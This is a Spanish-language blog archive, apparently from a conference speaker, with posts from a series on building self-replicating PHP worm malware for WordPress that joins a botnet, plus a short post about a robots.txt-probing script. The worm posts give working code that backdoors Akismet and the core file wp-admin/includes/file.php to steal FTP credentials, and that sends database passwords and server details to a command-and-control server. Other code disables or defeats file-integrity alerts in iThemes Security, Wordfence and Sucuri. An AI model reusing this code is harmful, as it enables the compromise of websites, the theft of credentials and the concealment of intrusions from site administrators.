   Combinando la función anterior junto a is_writeable(), y cebando la resultante con un array de ficheros a comprobar, podremos ver si tenemos permisos de escritura:

function check_writable_files() { $files = array("wp-load.php", "wp-login.php", "wp-admin/admin-footer.php", "wp-admin/includes/file.php", "akismet/akismet.php");  $writable = array(); foreach ($files as $file) { if (is_writeable(search_file($file))) { $writable[] = $file; } } return $writable;}

     Si estás familiarizado con las fortificaciones en WordPress, te habrás dado cuenta de que si la carpeta wp-admin ha sido renombrada o cambiada de lugar fallará estrepitosamente el invento. Pero recuerda: lo primero que hicimos fue incluir wp-config.php, por lo que ahora podemos leer su contenido y si se han renombrado/movido estas carpetas es trivial añadir la localización correcta. Eso te lo dejo a tí ;)



Funciones disponibles

   Otro dato interesante es conocer qué funciones están habilitadas, a fin de saber si tenemos posibilidad de usar sockets, cURL, exec, etc. Para ello tenemos la función de PHP function_exists(), que nos devolverá un booleano indicando si la función existe o no. Quedaría como:

function funciones_disponibles() {  $disponible = array(); $array_funciones = array("system", "exec", "passthru", "shell_exec", "mail", "fsockopen", "curl_init"); foreach ($array_funciones as $funcion) { if (function_exists($funcion)) { $disponible[] = $funcion; } } return $disponible;}
  Se pueden añadir muchas más funciones, pero creo que esas son suficientes para hacernos una idea.


Información del servidor

  Conocer el sistema operativo y versión, así como si está habilitado safe_mode, es interesante para conocer qué comandos podremos ejecutar, y también por si en un futuro deseamos intentar realizar una escalada de privilegios con objeto de rootear el servidor.

  Toda esta información -y alguna extra- es fácilmente extraíble a través de las funcion php_uname() de PHP y  de las variables $_SERVER:


function safe() { if (ini_get("safe_mode")) { $safe = "ON"; } else { $safe = "OFF"; } return $safe;}

function server_info() { $OS = php_uname("s"); $OS .= " " . php_uname("r"); $OS .= " " . php_uname("m"); $dominio = $_SERVER['SERVER_NAME']; $ip = $_SERVER['SERVER_ADDR']; $info = array($OS, $dominio, $ip); return $info;}
  En este mismo epígrafe quizás podríamos incluir obtener los credenciales de la base de datos: como hicimos el require() a wp-config.php, es tan sencillo como invocarlos usando DB_HOST, DB_NAME, etc. tal y como están en wp-config.php ;)


Backdoorizar akismet y /wp-admin/includes/file.php

    Para backdoorizar akismet podemos usar el método "bonito", que consistiría en añadir código al final de akismet.php, o el método "hardcore" que es sobreescribir del todo. En mi caso me decanto por el hardcore porque realizando pruebas con el "bonito" a veces aparecían errores en el WordPress infectado, y lo último que deseamos es que el administrador observe irregularidades que le alerten.

     La idea no puede ser más simple: guardamos el código en base64 y procederemos a sobreescribir el archivo:

function usurpar_akis_hardcore (){  //Same here than below $where = search_file("akismet/akismet.php"); $worm = ""; //No incluyo el tochaco ahora, lo veremos en otro capitulo if (is_writeable($where)) { $file = fopen($where, "w"); fwrite($file, base64_decode($worm)); fclose($file); return TRUE; } else { return FALSE; }}

  No podemos ser tan bestias cuando vayamos a colocar el "ratero" para el FTP (para ampliar info puedes visitar este post ) por si acaso el archivo se encuentra modificado -podríamos hacer que dejase de funcionar el WordPress-. La opción por la que podemos decantarnos para curarnos en salud es copiar el contenido en un archivo temporal, meterle el ratero, y después moverlo al lugar original:


function ftp_backdoor() { $file = search_file("wp-admin/includes/file.php"); if (is_writable($file)) { $reading = fopen($file, 'r'); $writing = fopen('myfile.tmp', 'w');
$replaced = false;
while (!feof($reading)) {  $line = fgets($reading);  if (stristr($line,'// Check to see if we are')) {     $line = 'update_option("wp_ftp_worm",implode("--", $credentials));';    $replaced = true;  }  fputs($writing, $line); } fclose($reading); fclose($writing); if ($replaced)  {  rename('myfile.tmp', $file);  return TRUE; } else {  unlink('myfile.tmp');  return FALSE; } }}

  Si os dais cuenta hay un "update_option". Esto es para guardar en la tabla wp_options los credenciales del FTP en caso de pescar alguno.


Comunicación con el panel de control y ultimas modificaciones

   Ahora ya sólo nos toca comunicarnos con el C&C para informar que este WordPress está infectado, mandar toda la información y crear los campos en wp_options con los que más tarde iremos trabajando y almacenando información:

if ($_GET['do'] == "info") {
$server_info = server_info();
$allowed = funciones_disponibles();
$actual_url = "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
if (usurpar_akis_hardcore() === TRUE) {
$ak = "YES";
} else {
$ak = "NO";
}
$first = implode("%%%%%%%%%%%%%%", $server_info);
$first .= "$$$$$$$$".implode("%%%%%%%%%%%%%%", $allowed);
$first .= "$$$$$$$$".safe();
$first .= "$$$$$$$$".DB_HOST."%%%%%%%%%%%%%%".DB_USER."%%%%%%%%%%%%%%".DB_PASSWORD;
$first .= "$$$$$$$$".$ak;
$first .= "$$$$$$$$".$actual_url;
$first = base64_encode($first);
$response = wp_remote_get($cc."?new_node=".$first);
add_all_exploits(wp_remote_retrieve_body($response));
add_option('wp_referer_list',"");
add_option('wp_attack_list',"");
add_option('wp_ddos_jq',"");
add_option('wp_seo_worm',""); add_option('wp_beef',"");
add_option('wp_ftp_worm', "");
add_option('wp_apt_url', "");
add_option('wp_apt_user', "");
ftp_backdoor();
}
   Para la comunicación utilizaremos HTTP, y estableceremos el diálogo mediante wp_remote...(). Estas funciones proceden de la API de WordPress, de tal forma que siempre estarán habilitadas, lo que es una ventaja teniendo en cuenta que si intetasemo usar cURL, sockets, etc. podríamos estrellarnos si no están habilitadas. Esta misma función será la que utilizaremos para lanzar los exploits (mediante un workaround que nos permita hacer POST para subir archivos).

  La función add_all_exploits será la encargada de guardar los código fuente de los exploits y la veremos en el siguiente capítulo.


Byt3z

5 0verl0ad Labs: octubre 2014 ¡Saludos!     Las slides están ya subidas ( https://es.scribd.com/doc/242156766/The-Walking-WordPress-pdf ).      En el ciclo de funcio...

miércoles, 8 de octubre de 2014

Juankeando con la Pitón - Parte 3

robot.txt (intento de chiste // al menos es mejor que el chiste de la lechuga de #nn4ed :D )
Tercera entrega de Juankeando con la Pitón. En esta ocasión un script que, pasada una url como parámetro, busca si tiene el archivo robots.txt. Si posee tal archivo, hace peticiones a cada uno de los directorios marcados con Disallow para ver si éstos son accesibles o no. Dicha confirmación viene del código que arroje el servidor.

Ejemplo de uso a www.google.es:


Es el primer script de la serie escrito en python 3 y utiliza docopt para los parámetros junto con urllib para las peticiones al servidor.

Para descargarlo, se puede descargar en el repositorio pyJuanker del github de 0verl0ad, concretamente aquí.

Fuentes y material interesante:
Nos leemos en breve ;)


5 0verl0ad Labs: octubre 2014 robot.txt (intento de chiste // al menos es mejor que el chiste de la lechuga de #nn4ed :D ) Tercera entrega de Juankeando con la Pitón....

martes, 7 de octubre de 2014

The Walking WordPress [I]: defeating security plugins

¡Saludos!

   Tal y como adelanté en el congreso Navaja Negra iré esta semana ampliando y/o aclarando puntos de la ponencia y soltando por aquí todo el código para que podais hacer pruebas en local. Las slides las publicaré hoy o mañana, según  me vaya el internet (estoy teniendo problemas con WiMax). El orden de publicación va a diferir del cómo fue expuesto en la charla.

  Para aquellos despistados que no estuvieron en el Navaja Negra: esta serie de posts trata de cómo crear malware en PHP orientado a WordPress con capacidad autoreplicativa (es decir, que un WordPress infectado pueda infectar otro que esté sano) a través de la explotación de vulnerabilidades en plugins. Todos los WordPress infectados conformarán una botnet controlada desde un panel central desde el cual podremos dirigir ataques organizados.

   Introducción


    El worm que vamos a generar necesitará editar archivos del core y al plugin Akismet. Los plugins más famosos de seguridad (iThemes Security, WordFence...) implementan una característica que ellos denominan como "Monitorización de la integridad de los ficheros", que en resumidas cuentas consiste en comprobar si algún fichero ha sido modificado. En caso de que se detecte tal variación -que puede ser indicativo de backdoorización- se emite una alerta al administrador.

  El problema de utilizar plugins del propio WordPress para realizar esta tarea radica en que cualquier archivo PHP puede modificar el comportamiento de un plugin, así como la base de datos. Por lo tanto:

-Si un archivo del core ha sido modificado es porque el atacante tenía permisos de escritura.
-Si tiene permisos de escritura, puede editar el PHP del plugin de seguridad
-Además puede editar la DB.


Veamos más en profundidad cómo trabajan los principales plugins (ordenados por descargas totales)

iThemes Security (3 Millones)


     iThemes Security (anteriormente conocido como Better WP Security) es de largo el plugin de seguridad más usado y recomendado para WordPress. De entre sus multiples características, una de ellas es la de comprobación de que no ha habido modificación en ningún archivo.

    Para realizar la comprobación de si un archivo ha sido modificado o no, iThemes guarda un listado de hashes, nombres y fechas de todos los archivos del WordPress cada vez que se realiza un escaneo. En cada escaneo se compruebe si ha habido alguna variación con respecto al anterior. Para bypassear este plugin existen dos métodos: el ninja (consistente en editar el campo de la base de datos donde se sitúan esos hashes con el nuevo hash generado al editar un fichero) o el método rápido.


  Observando el panel de administración de iThemes Security (en concreto el apartado dedicado a la monitorización de archivos) nos damos cuenta de que tanto las alertas mostradas en el dashboard del admin como las alertas al e-mail pueden desactivarse



  Esta configuración se encuentra almacenada en un campo llamado "itsec_file_change" en la tabla wp_options, cuyo valor (dependiendo de la configuración que tengamos) es:

a:9:{s:7:"enabled";b:1;s:6:"method";b:1;s:9:"file_list";a:1:{i:0;s:0:"";}s:5:"types";a:7:{i:0;s:4:".jpg";i:1;s:5:".jpeg";i:2;s:4:".png";i:3;s:4:".log";i:4;s:3:".mo";i:5;s:3:".po";i:6;s:4:".php";}s:5:"email";b:1;s:12:"notify_admin";b:1;s:5:"split";b:0;s:10:"last_chunk";b:0;s:8:"last_run";i:1410341351;}
   Como se puede observar, tenemos dos campos interesantes: "email" y "notify_admin". Echando rápidamente un ojo al código de iThemesse nos damos cuenta de que estos dos campos hacen referencia a las notificaciones por e-mail y a las alertas en el dashboard. Entonces la cosa queda fácil, tan sólo tendremos que modificar esos campos y ponerlos como "false" (bool 0).

    Una de las cosas mágicas de WordPress es que podemos utilizar su propia API (tan sólo debemos de localizar el archivo wp-load.php y hacerle un require() ) para acceder rápidamente a la tabla wp_options y editar las opciones. Incluyendo estas pocas líneas en el malware podremos conseguirlo:

//Para usar get_option deberemos de hacer un require() a wp-load primero
$o = get_option("itsec_file_change");
$o['email'] = FALSE;
$o['notify_admin'] = FALSE;
update_option("itsec_file_change",$o);


WordFence (3 Millones) y Acunetix (2 Millones)

     El plugin por excelencia para la monitorización de los archivos. En este caso la comparación de los ficheros se realiza con respecto a los checksums que provee una API online de WordPress. Al analizar el funcionamiento vemos que se trata de un método muy robusto y que a diferencia de iThemes no podríamos bypassear usando el "método ninja" (no podemos modificar los checksums contra los que comrpueba ya que -en principio- no podemos editar la respuesta que le devuelve la API) por lo que debemos de buscar alguna debilidad en la lógica de funcionamiento.

    Si no puedo evitar que el plugin detecte que hay una discrepancia en el source de algún archivo, al menos puedo evitar que muestre las alertas y hacer que siempre diga que todo va bien. WordFence guarda todas los errores encontrados en una tabla llamada llamada wp_wfissues (lógicamente "wp_" variará según el prefijo designado en wp-config.php).

  Lo que deberemos de hacer en este caso es tan simple como vaciar esta tabla cada vez que un visitante entre en la página, de tal forma que el admin nunca pueda ver el mensaje de alerta:

//Do a require() to include wp-config.php first$con = mysql_connect(DB_HOST, DB_USER, DB_PASSWORD);mysql_select_db(DB_NAME);$query = "truncate ". $prefix ."wfissues;";mysql_query($query);


  Para que se ejecute cada vez que alguien visite la web podemos acoplarlo a un hook (wp_footer, por ejemplo) de tal forma que contínuamente se vacíe la tabla y el admin nunca pueda verlo.

  Esta misma técnica funciona con acunetix, tan sólo se debería de cambiar el nombre de la tabla.


Sucuri (450 Mil)

  Actualmente Sucuri es mi plugin de seguridad preferido (desconozco porqué tiene tan pocas descargas) y realmente realiza muy bien todas las tareas. Aquí debemos de embarrarnos, teniendo que editar una línea de código.

  La porción de código encargada de obtener los checksums que provee la API online de WordPress es este:

    public static function get_official_checksums( $version=0 ){        $url = 'http://api.wordpress.org/core/checksums/1.0/';        $response = self::api_call( $url, 'GET', array(            'version' => $version,            'locale' => 'en_US',        ));

   El problema radica en que si nosotros en el parámetro "version" le prefijamos un valor inexistente (999999), el API nos devolverá un "false" y sucuri en vez de indicarnos que la versión es inexistente, símplemente nos mostrará el mensaje de que ningún archivo ha sido modificado:



   Para ello podemos copiar el código actual del .php en un archivo temporal, editando con un regex para modificar 'version' => $version por 'version' => 999999, y después sustituirlo por el original.




Byt3z



5 0verl0ad Labs: octubre 2014 ¡Saludos!    Tal y como adelanté en el congreso Navaja Negra iré esta semana ampliando y/o aclarando puntos de la ponencia y soltando por ...
< >